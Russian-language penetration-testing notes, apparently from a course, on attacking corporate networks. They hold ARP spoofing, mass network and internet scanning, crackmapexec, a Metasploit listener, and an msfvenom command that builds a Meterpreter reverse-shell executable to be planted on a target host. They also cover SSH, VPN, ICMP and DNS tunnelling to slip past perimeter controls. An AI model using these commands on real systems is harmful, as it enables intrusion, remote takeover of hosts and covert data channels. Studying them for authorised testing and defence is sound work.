---
# System prepended metadata

title: CYBER INFRASTRUCTURE THREATS
tags: [CSB, CIT]

---

# CYBER INFRASTRUCTURE THREATS
###### tags: `CSB`, `CIT`
**СОДЕРЖАНИЕ**
:::spoiler
[TOC]
:::

## Корпоративная инфраструктура
![](https://i.imgur.com/iyLJyEi.png)
## Методы проникновения в КИ
## OSINT
## Перехват трафика
### ==arp-spoof==
> \# arpspoof -h
Usage: arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host


### ==dns2proxy==
> https://github.com/singe/dns2proxy/
> https://kali.tools/?p=474
 
### ==ssl-split==
> https://kali.tools/?p=177
> https://blackarch.ru/?p=643

### wireshark
### ==tshark==
Поиск VLANID в файле дампа трафика (wireshark, tcpdum, etc)
:::info
\# tshark -r DUMP_FILE.PCAP -T fields -e vlan.id | sort -n -u
:::

## Сканирование сети
### ==nmap==
*==scan==*
:::info
- \# nmap -Pn -n -p 21,22,23,445,623,1433,5432,5555,8080,8081,8180,8443,4786,1099,27017,3389,88,389 --open -oX file_name.out -v --min-rate=400 --min-parallelism=512 172.16.0.0/16
- nmap -sS -sV -sC -Pn -n -p- --open -oX file_name.out -v \<IP>
- nmap -sU -sV -sC -Pn -n -p- --open -oX file_name.out -v \<IP>
- nmap -sT -sU -A -O -p0-65535 -oX file_name.out -v <IP>
:::
> -T[0-5] - скорость сканирования
> -F - быстрое сканирование ~100 портов
> -O - определение ОС
> -sV - определение служб и их версий на портах
> -A - агрессивное сканирование

*==scripts==*
готовые скрипты https://nmap.org/nsedoc/
default скрипты https://nmap.org/nsedoc/categories/default.html
скрипты для сканирования на наличие уязвимостей:
> ***github:***
> vulscan
> nmap-vulners
 
*информация о скрипте:*
:::info
\# nmap --script-help mysql-empty-password
:::
> \--script <filename>|<category>|<directory>/|<expression>...
> -sC - script==default

:::info
\# nmap -p80 --script="dns-brute" fbmse.ru
:::

### nessus

### openvas (GSM)

### ==masscan==
:::spoiler
> \# masscan -h
> usage:
> masscan -p80,8000-8100 10.0.0.0/8 --rate=10000
>  scan some web ports on 10.x.x.x at 10kpps
> masscan --nmap
>  list those options that are compatible with nmap
> masscan -p80 10.0.0.0/8 --banners -oB <filename>
>  save results of scan in binary format to <filename>
> masscan --open --banners --readscan <filename> -oX <savefile>
>  read binary scan results in <filename> and save them as xml in <savefile>
:::

:::info
- \# masscan -v -sS 192.168.0.0/16 10.0.0.0/8 -p 80
- \# masscan 23.0.0.0/0 -p80 --banners -output-format binary --output-filename internet.scan
- \# masscan --open --banners --readscan internet.scan -oG internet_scan.grepable
:::

### ==netdiscover==
:::spoiler
> \# netdiscover -h
> Netdiscover 0.5.1 [Active/passive ARP reconnaissance tool]
> Written by: Jaime Penalba <jpenalbae@gmail.com>
> 
> Usage: netdiscover [-i device] [-r range | -l file | -p] [-m file] [-F filter] [-s time] [-c count] [-n node] [-dfPLNS]
>   -i device: your network device
>   -r range: scan a given range instead of auto scan. 192.168.6.0/24,/16,/8
>   -l file: scan the list of ranges contained into the given file
>   -p passive mode: do not send anything, only sniff
>   -m file: scan a list of known MACs and host names
>   -F filter: customize pcap filter expression (default: "arp")
>   -s time: time to sleep between each ARP request (milliseconds)
>   -c count: number of times to send each ARP request (for nets with packet loss)
>   -n node: last source IP octet used for scanning (from 2 to 253)
>   -d ignore home config files for autoscan and fast mode
>   -f enable fastmode scan, saves a lot of time, recommended for auto
>   -P print results in a format suitable for parsing by another program and stop after active scan
>   -L similar to -P but continue listening after the active scan is completed
>   -N Do not print header. Only valid when -P or -L is enabled.
>   -S enable sleep time suppression between each request (hardcore mode)
> 
> If -r, -l or -p are not enabled, netdiscover will scan for common LAN addresses.
:::

:::info
- Scan common LAN addresses on eth0:
\# netdiscover -i eth0
- Fast scan common LAN addresses on eth0 (search only for gateways):
\# netdiscover -i eth0 -f
- Scan some fixed ranges:
\# netdiscover -i eth0 -r 172.26.0.0/24
\# netdiscover -r 192.168.0.0/16
\# netdiscover -r 10.0.0.0/8
- Scan common LAN addresses with sleep time 0.5 milliseconds instead of default 1:
\# netdiscover -s 0.5
- Scan fixed range on fast mode with sleep time 0.5 milliseconds instead of default 1:
\# netdiscover -r 192.168.0.0/16 -f -s 0.5
- Scan a range using 101 as last octet for SOURCE IP
\# netdiscover -r 10.1.0.0/16 -n 101
- Only sniff for ARP traffic, don't send nothing:
\# netdiscover -p
:::

### ==crackmapexec==
:::spoiler
> \# crackmapexec -h
usage: crackmapexec [-h] [-t THREADS] [--timeout TIMEOUT] [--jitter INTERVAL] [--darrell] [--verbose] {smb,winrm,ldap,mssql,ssh} ...
>
> optional arguments:
  -h, --help            show this help message and exit
  -t THREADS            set how many concurrent threads to use (default: 100)
  --timeout TIMEOUT     max timeout in seconds of each thread (default: None)
  --jitter INTERVAL     sets a random delay between each connection (default: None)
  --darrell             give Darrell a hand
  --verbose             enable verbose output
>
> protocols:
  available protocols
>
>  {smb,winrm,ldap,mssql,ssh}
:::

:::info
\# crackmapexec smb 172.16.0.0/16
:::

## MSF
:::info
;запустить postgresql
\# systemctl start postgresql
\# systemctl enable postgresql

;инициализировать базу данных MSF
\# msfdb init

;запустить MSF
\# msfconsole -q
:::
### reverse shell
:::info
;выбрать в качестве эксплойта мультихандлер
msf> use exploit/multi/handler

;выбрать в качестве нагрузки нужную
msf> set payload **windows/x64/meterpreter/reverse_tcp**

;задать параметры в соответсвии с выбранной нагрузкой
msf> set options lhost <MSF_IP>
msf> set options lport <MSF_PORT>

;запустить мультихандлер (-j -z - запуск в фоновом режиме)
msf> run
:::

### msfvenom
:::info
;с помощью msfvenom сгенерировать файл с выбранной ранее в msf нагрузкой и соответствующими параметрами
\# msfvenom -p **windows/x64/meterpreter/reverse_tcp** lhost=<MSF_IP> lport=<MSF_PORT> -f exe -o file.exe
;любыми средствами передать сгенерированный файл для выполнения на целевом хосте и ожидать поднятия сессии в MSF
:::


## SSH
> Магия SSH https://habr.com/ru/post/331348/
### ==SSH proxy==
:::info
\# ssh -f -qNTn -D "*:1908" user@host
;в браузере указать socks-proxy на localhost:1908
:::
### ==SSS tunnel==
**internal ssh-vpn-client [KALI-INT]**
:::info
\# ssh -w 5:5 root@<VPN_SERVER_IP>
:::
Поднять созданный интерфейс
:::info
\# ip link set tun5 up
\# ip a add <IP/MASK> dev tun5
:::
- включить ***forwarding***
- включить ***nat*** на интерфейсе локального сегмента сети (iptables -t nat -A POSTROUTING -o eth0 -s 192.168.1.0/24 -j MASQUERADE)

**external ssh-vpn-server [LINUX1]**

Поднять созданный интерфейс
:::info
\# ip link set tun5 up
\# ip a add <IP/MASK> dev tun5
:::
- включить ***forwarding***
- добавить ***маршрут*** до внутреннего сегмента через ***tun***-интерфейс (ip r add <LAN> via <client-tun5-ip-addr>)

## VPN
angristan
/openvpn-install https://github.com/angristan/openvpn-install
### ==openvpn L3==

**internal vpn-client [KALI-INT]**

> "***./client.ovpn***"
> dev tun
> закомментировать
> \# explicit-exit-notify
> \# ignore-unknown-option block-outside-dns
> \# setenv opt block-outside-dns

- включить ***forwarding***
- включить ***nat*** на интерфейсе локального сегмента сети

**external vpn-client [KALI-EXT]**

> "***./client.ovpn***"
> dev tun
> закомментировать
> \# explicit-exit-notify
> \# ignore-unknown-option block-outside-dns
> \# setenv opt block-outside-dns

- включить ***forwarding***

**external vpn-server [LINUX1]**

> "***/etc/openvpn/server.conf***"
> dev tun
> закомментировать
> \# push ... - 3шт
> добавить
> client-to-client

> "***/etc/openvpn/ccd/client***"
> iroute 192.168.1.0 255.255.255.0

- включить ***forwarding***
- добавить ***маршрут*** до внутреннего сегмента через ***tun***-интерфейс (ip r add <LAN> via <tun0-ip-addr>)

### ==openvpn L2==
**internal vpn-client [KALI-INT]**
> \# apt install bridge-utils

> "***/etc/network/interfaces***"
> ==Проверить работоспособность==
> ==auto ens3 tap0 br0==
> iface ens3 inet manual
> iface tap0 inet manual
> iface br0 inet dhcp
> bridge_ports ens3 tap0

> \# mv ./client.ovpn /etc/openvpn/

> "***./client.ovpn***"
> dev tap
> \# разрешаем запускать скрипты для автоподнятия туннеля
> script-security 2
> up /etc/openvpn/up.sh
> закомментировать
> \# explicit-exit-notify
> \# ignore-unknown-option block-outside-dns
> \# setenv opt block-outside-dns

**Включить автоподнятие туннеля**
> "***/etc/default/openvpn***"
> добавить
> Autostart="all"

> "***/etc/openvpn/up.sh***"
> #!/bin/sh
> /usr/bin/systemctl restart networking

>\# chmod +x /etc/openvpn/up.sh

- включить ***forwarding***
- включить ***nat*** на интерфейсе локального сегмента сети

**external vpn-client [KALI-EXT]**
> "***./client.ovpn***"
> dev tap
> закомментировать
> \# explicit-exit-notify
> \# ignore-unknown-option block-outside-dns
> \# setenv opt block-outside-dns

> "***/etc/network/interfaces***"
> auto eth0 tap0
> iface eth0 inet dhcp
> iface tap0 inet dhcp

- включить ***forwarding***

**external vpn-server [LINUX1]**
> "***/etc/openvpn/server.conf***"
> dev tap
> закомментировать
> \# push ... - 3шт
> добавить
> client-to-client

- включить ***forwarding***
- добавить ***маршрут*** до внутреннего сегмента через ***tun***-интерфейс (ip r add <LAN> via <tun0-ip-addr>)

## ICMP tunneling
==Hans - IP over ICMP==
https://github.com/friedrich/hans
http://code.gerade.org/hans/

**external icmp-server [LINUX1]**
> \# apt install git make g++ curl net-tools
> \# git clone hans
> \# cd hans
> \# make

> \# ./hans -s 10.1.2.0 -p <PASSWD> --> tun0

- включить ***forwarding***
- включить ***nat*** на внешнем интерфейсе

**internal icmp-client [KALI-INT]**
> \# apt install git make g++ curl net-tools
> \# ./hans -c <ICMP_SERVER_EXT_IP> -p <PASSWD> --> tun0
> \# ip r add <ICMP_SERVER_EXT_IP/32> via <LAN_GW>
> \# ip r delete default
> \# ip r defaul via <ICMP_SERVER_INT_IP>

- включить ***forwarding***
- включить ***nat*** на интерфейсе ***tun0***

## DNS tunneling
==iodine== - https://code.kryo.se/iodine
### ==Вариант1==
**external dns-vpn-server [LINUX1]**
> \# apt install iodine
> \# iodined <DNS_INT_IP/24> -P <PASSWD> -c <DOMAIN.NAME> --> dns0

- включить ***forwarding***
- включить ***nat*** на внешнем интерфейсе

**internal dns-vpn-client [KALI-INT]**
> \# apt install iodine

> "***/etc/resolv.conf***"
> nameserver <DNS_EXT_IP>

> \# iodine -P <PASSWD> <DOMAIN.NAME> --> dns0

> \# ip r add <DNS_EXT_IP> via <LAN_GW>
> \# ip r delete default
> \# ip r add default via <DNS_INT_IP>

> \# iptables -t nat -A POSTROUTING -o dns0 -j MASQUERADE

### ==Вариант2==

external dns-vpn-server [LINUX1]
server iodined -P <pass> <IP> -c <DOMAIN.NAME>

- включить forwarding
- включить nat на внешнем интерфейсе

Internal dns-vpn-client [KALI-INT]

iodine -P <pass> <DOMAIN.NAME>

ip r del default
ip r add default via <DNS-INT-IP>


## DDOS services
### DHCP



